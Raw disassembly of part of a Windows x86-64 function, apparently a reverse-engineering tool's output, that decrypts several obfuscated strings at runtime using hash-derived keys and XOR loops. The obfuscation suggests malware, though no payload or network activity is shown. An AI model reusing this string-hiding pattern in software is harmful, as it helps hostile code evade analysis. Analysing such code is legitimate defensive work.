mov byte [rbp + 0x2d0], cl
movdqa xmm0, xmmword [0x140174820]
movdqu xmmword [rbp + 0x300], xmm0
mov dword [rbp + 0x310], 0x30a0a07
mov word [rbp + 0x314], 0x12
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f54fc
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f550b
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp + 0x2d4]
mov r10, r13
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f5520
lea r9d, [r10 + 0x15]
lea r8, [rbp + 0x2d4]
lea rdx, [rbp + 0x300]
call fcn.14011c9b0
mov qword [rbp + 0x2f8], rax
movsx ebx, byte [rbp + 0x2d0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f55a5
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f55b4
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp + 0x2d4]
mov r10, r13
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f55d0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0x2d4]
mov rdx, qword [rbp + 0x2f8]
call fcn.14011cb00
mov rbx, rax
test rax, rax
je 0x1400f567f
movsx edx, byte [rbp + 0x2d0]
movd xmm1, edx
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rax]
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
add rax, 0x10
mov ecx, 5
nop word [rax + rax]
xor byte [rax], dl
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400f5670
mov byte [rbx + 0x15], cl
mov qword [rbp + 0x540], 0
movdqa xmm0, xmmword [0x1401746b0]
movdqu xmmword [rbp + 0x550], xmm0
mov byte [rbp + 0x540], 0
lea rax, [rbp + 0xc90]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f56b0
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x540]
call fcn.14001ea30
nop
mov rdx, rbx
lea rcx, [rbp + 0x540]
call fcn.14001e570
xor ecx, ecx
mov qword [rbp + 0x420], rcx
mov qword [rbp + 0x430], rcx
mov qword [rbp + 0x438], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x420], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x430], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0xf
mov byte [rax], cl
lea r9, [rbp + 0x520]
lea r8, [rbp + 0x420]
mov rdx, r12
mov rcx, rdi
call fcn.1400f2ae0
nop
lea rcx, [rbp + 0x540]
call fcn.14001e820
lea rax, [rbp + 0x680]
mov qword [rsp + 0x20], rax
mov cl, 0x7c
mov byte [rbp + 0xd0], cl
mov dword [rbp + 0x100], 0xc050e3f
mov dword [rbp + 0x104], 0x26201308
mov dword [rbp + 0x108], 0x140f1d1f
xor eax, eax
mov byte [rbp + 0x10c], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f5792
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f57a1
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp + 0xd4]
mov r10, r13
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f57c0
mov ebx, 0xc
mov r9d, ebx
lea r8, [rbp + 0xd4]
lea rdx, [rbp + 0x100]
call fcn.14011c9b0
mov qword [rbp + 0xf8], rax
movsx edi, byte [rbp + 0xd0]
mov ecx, edi
call fcn.140013f00
add edi, eax
cmp edi, 0xfffffff0
jg 0x1400f5847
lea edx, [rbx + 0x78]
call fcn.140128630
cmp edi, 0xffffffb7
jg 0x1400f5856
mov edx, 0x9d
call fcn.140128630
imul r11d, edi, 0x5bd1e995
xor edi, edi
mov r8d, edi
lea r9, [rbp + 0xd4]
mov r10, r13
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f5870
mov r9d, dword [0x140196874]
lea r8, [rbp + 0xd4]
mov rdx, qword [rbp + 0xf8]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x1400f58df
mov rdx, rdi
jmp 0x1400f5900
movzx ecx, byte [rbp + 0xd0]
nop word [rax + rax]
xor byte [rax], cl
lea rax, [rax + 1]
sub rbx, 1
jne 0x1400f58f0
mov byte [rdx + 0xc], dil
mov qword [rbp + 0x680], rdi
mov qword [rbp + 0x690], rdi
mov qword [rbp + 0x698], 0xf
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], dil
jne 0x1400f5920
lea rcx, [rbp + 0x680]
call fcn.14001ea30
nop
mov cl, 0x60
mov byte [rbp + 0x230], cl
mov dword [rbp + 0x260], 0x1033a3c
mov word [rbp + 0x264], 0x813
xor eax, eax
mov byte [rbp + 0x266], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f5974
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f5983
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, edi
lea r9, [rbp + 0x234]
mov r10, r13
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f59a0
lea r9d, [r10 + 6]
lea r8, [rbp + 0x234]
lea rdx, [rbp + 0x260]
call fcn.14011c9b0
mov qword [rbp + 0x258], rax
movsx ebx, byte [rbp + 0x230]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f5a25
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f5a34
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, edi
lea r8, [rbp + 0x234]
mov r9, r13
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f5a50
mov r9d, dword [0x140196874]
lea r8, [rbp + 0x234]
mov rdx, qword [rbp + 0x258]
call fcn.14011cb00
mov rbx, rax
test rax, rax
jne 0x1400f5abb
mov rbx, rdi
jmp 0x1400f5ad7
movzx eax, byte [rbp + 0x230]
xor byte [rbx], al
xor byte [rbx + 1], al
xor byte [rbx + 2], al
xor byte [rbx + 3], al
xor byte [rbx + 4], al
xor byte [rbx + 5], al
mov byte [rbx + 6], 0
mov qword [rbp + 0x6a0], rdi
movdqa xmm0, xmmword [0x1401746b0]
movdqu xmmword [rbp + 0x6b0], xmm0
mov byte [rbp + 0x6a0], 0
lea rax, [rbp + 0xc90]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400f5b00
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x6a0]
call fcn.14001ea30
nop
mov rdx, rbx
lea rcx, [rbp + 0x6a0]
call fcn.14001e570
mov qword [rbp + 0x440], rdi
mov qword [rbp + 0x450], rdi
mov qword [rbp + 0x458], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x440], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x450], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x680]
lea r8, [rbp + 0x440]
mov rdx, r12
mov rdi, qword [rsp + 0x30]
mov rcx, rdi
call fcn.1400f2ae0
nop
lea rcx, [rbp + 0x6a0]
call fcn.14001e820
lea rax, [rbp + 0x6c0]
mov qword [rsp + 0x20], rax
mov cl, 0x2a
mov byte [rbp + 0x50], cl
mov dword [rbp + 0x80], 0x5a535869
mov dword [rbp + 0x84], 0x6b76455e
mov dword [rbp + 0x88], 0x58454758
mov word [rbp + 0x8c], 0x53
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f5be4
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f5bf3
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0x54]
mov r9, r13
nop dword [rax]
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f5c10
mov r9d, r14d
lea r8, [rbp + 0x54]
lea rdx, [rbp + 0x80]
call fcn.14011c9b0
mov qword [rbp + 0x78], rax
movsx ebx, byte [rbp + 0x50]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f5c87
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f5c96
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor ebx, ebx
mov edx, ebx
lea r8, [rbp + 0x54]
mov r9, r13
nop dword [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f5cb0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0x54]
mov rdx, qword [rbp + 0x78]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x1400f5d15
mov rdx, rbx
jmp 0x1400f5d30
mov rcx, r14
movzx r8d, byte [rbp + 0x50]
nop dword [rax]
xor byte [rax], r8b
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400f5d20
mov byte [rdx + 0xd], bl
mov qword [rbp + 0x6c0], rbx
mov qword [rbp + 0x6d0], rbx
mov qword [rbp + 0x6d8], 0xf
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], bl
jne 0x1400f5d50
lea rcx, [rbp + 0x6c0]
call fcn.14001ea30
nop
mov cl, 0x59
mov byte [rbp + 0x110], cl
mov dword [rbp + 0x140], 0x342b1805
mov dword [rbp + 0x144], 0x202b36
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f5d9d
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f5dac
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0x114]
mov r10, r13
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r10, 1
jne 0x1400f5dc0
lea r9d, [r10 + 7]
lea r8, [rbp + 0x114]
lea rdx, [rbp + 0x140]
call fcn.14011c9b0
mov qword [rbp + 0x138], rax
movsx ebx, byte [rbp + 0x110]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f5e41
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f5e50
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0x114]
mov r9, r13
nop dword [rax]
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f5e70
mov r9d, dword [0x140196874]
lea r8, [rbp + 0x114]
mov rdx, qword [rbp + 0x138]
call fcn.14011cb00
mov rbx, rax
test rax, rax
je 0x1400f5ef5
movzx eax, byte [rbp + 0x110]
xor byte [rbx], al
xor byte [rbx + 1], al
xor byte [rbx + 2], al
xor byte [rbx + 3], al
xor byte [rbx + 4], al
xor byte [rbx + 5], al
xor byte [rbx + 6], al
mov byte [rbx + 7], 0
mov qword [rbp + 0x6e0], 0
movdqa xmm0, xmmword [0x1401746b0]
movdqu xmmword [rbp + 0x6f0], xmm0
mov byte [rbp + 0x6e0], 0
lea rax, [rbp + 0xc90]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400f5f21
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x6e0]
call fcn.14001ea30
nop
mov rdx, rbx
lea rcx, [rbp + 0x6e0]
call fcn.14001e570
xor ecx, ecx
mov qword [rbp + 0x460], rcx
mov qword [rbp + 0x470], rcx
mov qword [rbp + 0x478], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x460], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x470], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0xf
mov byte [rax], cl
lea r9, [rbp + 0x6c0]
lea r8, [rbp + 0x460]
mov rdx, r12
mov rcx, rdi
call fcn.1400f2ae0
nop
lea rcx, [rbp + 0x6e0]
call fcn.14001e820
lea rax, [rbp + 0x720]
mov qword [rsp + 0x20], rax
mov al, 0x16
mov byte [rsp + 0x40], al
movdqa xmm0, xmmword [str.UdofbyJTobsuy]
movdqu xmmword [rsp + 0x70], xmm0
movsx ebx, al
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f5fe9
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f5ff8
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rsp + 0x44]
mov r9, r13
nop dword [rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f6010
mov r9d, 0xf
lea r8, [rsp + 0x44]
lea rdx, [rsp + 0x70]
call fcn.14011c9b0
mov qword [rsp + 0x68], rax
movsx ebx, byte [rsp + 0x40]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f608b
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f609a
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor ebx, ebx
mov edx, ebx
lea r8, [rsp + 0x44]
mov r9, r13
nop dword [rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f60b0
mov r9d, dword [0x140196874]
lea r8, [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x1400f6117
mov rdx, rbx
jmp 0x1400f6132
mov ecx, 0xf
movzx r8d, byte [rsp + 0x40]
xor byte [rax], r8b
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400f6122
mov byte [rdx + 0xf], bl
mov qword [rbp + 0x720], rbx
mov qword [rbp + 0x730], rbx
mov qword [rbp + 0x738], 0xf
mov r8, rsi
nop
inc r8
cmp byte [rdx + r8], bl
jne 0x1400f6150
lea rcx, [rbp + 0x720]
call fcn.14001ea30
nop
mov cl, 0x34
mov byte [rbp + 0x150], cl
mov dword [rbp + 0x180], 0x404d7668
mov dword [rbp + 0x184], 0x5d5b5751
mov word [rbp + 0x188], 0x5a
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f61a6
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f61b5
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
xor edx, edx
lea r8, [rbp + 0x154]
mov r9, r13
nop dword [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f61d0
mov al, 1
mov rcx, qword [rbp + 0xda0]
xor rcx, rsp
call fcn.14012b8f0
lea r11, [rsp + 0xeb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14012ba20
int3